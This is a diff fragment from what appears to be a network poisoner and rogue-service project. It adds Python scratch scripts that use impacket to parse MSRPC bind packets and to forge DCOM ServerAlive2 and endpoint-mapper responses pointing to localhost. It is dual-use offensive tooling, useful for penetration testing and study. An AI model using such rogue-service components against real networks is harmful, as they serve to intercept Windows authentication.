  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
@@ -0,0 +1,15 @@
1
+ from impacket.dcerpc.v5.rpcrt import MSRPCHeader
2
+
3
+ bind_data = bytes.fromhex(
4
+ "05000b0310000000a000000002000000d016d0160000000003000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000010001000883afe11f5dc91191a408002b14a0fa0300000033057171babe37498319b5dbef9ccc3601000000020001000883afe11f5dc91191a408002b14a0fa030000002c1cb76c12984045030000000000000001000000"
5
+ )
6
+
7
+ local_bind_data = bytes.fromhex(
8
+ "05000b03100000004800000001000000b810b8100000000001000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000"
9
+ )
10
+
11
+ bind_head = MSRPCHeader(bind_data)
12
+ print(bind_head.fields)
13
+
14
+ bind2_head = MSRPCHeader(local_bind_data)
15
+ print(bind2_head.fields)
@@ -0,0 +1,51 @@
1
+ import struct
2
+ import array
3
+
4
+ from impacket.dcerpc.v5 import dcom, rpcrt, dcomrt
5
+
6
+ # resp = dcomrt.ServerAlive2Response(bytes.fromhex("05000700000002002d0000002d00170007004400430030003100000007003100390032002e003100360038002e00350036002e00310031003500000000000900ffff00001e00ffff00001000ffff00000a00ffff00001600ffff00001f00ffff00000e00ffff0000000000000000000000000000"))
7
+
8
+ # bindings = resp["ppdsaOrBindings"]
9
+ # data = bindings["aStringArray"]
10
+ # data = array.array("H", data).tobytes()
11
+ # data_len = len(data)
12
+ # offset = 0
13
+ # sec_offset = bindings["wSecurityOffset"] * 2
14
+
15
+
16
+ # print(offset)
17
+
18
+ # for _ in range():
19
+
20
+ packet = dcomrt.ServerAlive2Response()
21
+ packet["pComVersion"] = dcomrt.COMVERSION()
22
+ packet["ErrorCode"] = 0
23
+
24
+ bindings = dcomrt.DUALSTRINGARRAY()
25
+
26
+
27
+ data = array.array('H')
28
+ # Only one stringbinding
29
+ binding = dcomrt.STRINGBINDING()
30
+ binding["wTowerId"] = 0x07 # ncacn_ip_tcp
31
+ binding["aNetworkAddr"] = "127.0.0.1"
32
+ data.extend(array.array('H', binding.getData()))
33
+
34
+ sec_offset = len(data)
35
+ if sec_offset % 2 != 0:
36
+ data.append(0x00)
37
+ sec_offset += 1
38
+
39
+ binding = dcomrt.SECURITYBINDING()
40
+ binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
41
+ binding["aPrincName"] = ""
42
+ binding["Reserved"] = 0xFFFF
43
+ data.extend(array.array('H', binding.getData()))
44
+
45
+ bindings["wNumEntries"] = len(data)
46
+ bindings["wSecurityOffset"] = sec_offset
47
+ bindings["aStringArray"] = data
48
+
49
+ packet["ppdsaOrBindings"] = bindings
50
+
51
+ print(packet.getData())
@@ -0,0 +1,40 @@
1
+ from impacket.dcerpc.v5 import epm
2
+
3
+
4
+ data = bytes.fromhex("0100000000000000000000000000000000000000020000004b0000004b000000050013000d81bb7a364498f135ad3298f03800100302000200000013000d045d888aeb1cc9119fe808002b10486002000200000001000b020000000100070200008701000904000000000000000000000000000000000000000000000000000004000000")
5
+
6
+ map_req = epm.ept_map(data)
7
+ map_resp = epm.ept_mapResponse()
8
+ map_resp["status"] = 0 # success
9
+ map_resp["num_towers"] = 1
10
+ map_resp["entry_handle"] = map_req["entry_handle"]
11
+
12
+ req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
13
+ req_floors = req_tower["Floors"]
14
+ resp_tower = epm.EPMTower()
15
+ resp_floors = []
16
+
17
+ # First floor will be the interface
18
+ interface = req_floors[0]["InterfaceUUID"]
19
+ # Second floor must map to the same syntax -> TODO
20
+ # THird floor MUST be TCP
21
+ resp_floors.extend(req_floors[:3])
22
+
23
+ epm_port = epm.EPMPortAddr()
24
+ epm_port["IpPort"] = 135# self.rpc_config.epm_port
25
+ resp_floors.append(epm_port)
26
+
27
+ epm_host = epm.EPMHostAddr()
28
+ epm_host["Ip4addr"] = "127.0.0.1" # self.config.ipv4
29
+ resp_floors.append(epm_host)
30
+
31
+ resp_tower["NumberOfFloors"] = len(resp_floors)
32
+ resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
33
+
34
+ resp_tower_data = epm.twr_p_t()
35
+ resp_tower_data["tower_octet_string"] = resp_tower.getData()
36
+ resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
37
+ resp_tower_data["ReferentID"] = 2
38
+
39
+ map_resp["ITowers"] = [resp_tower_data]
40
+ print(map_resp.getData())
File without changes
File without changes
File without changes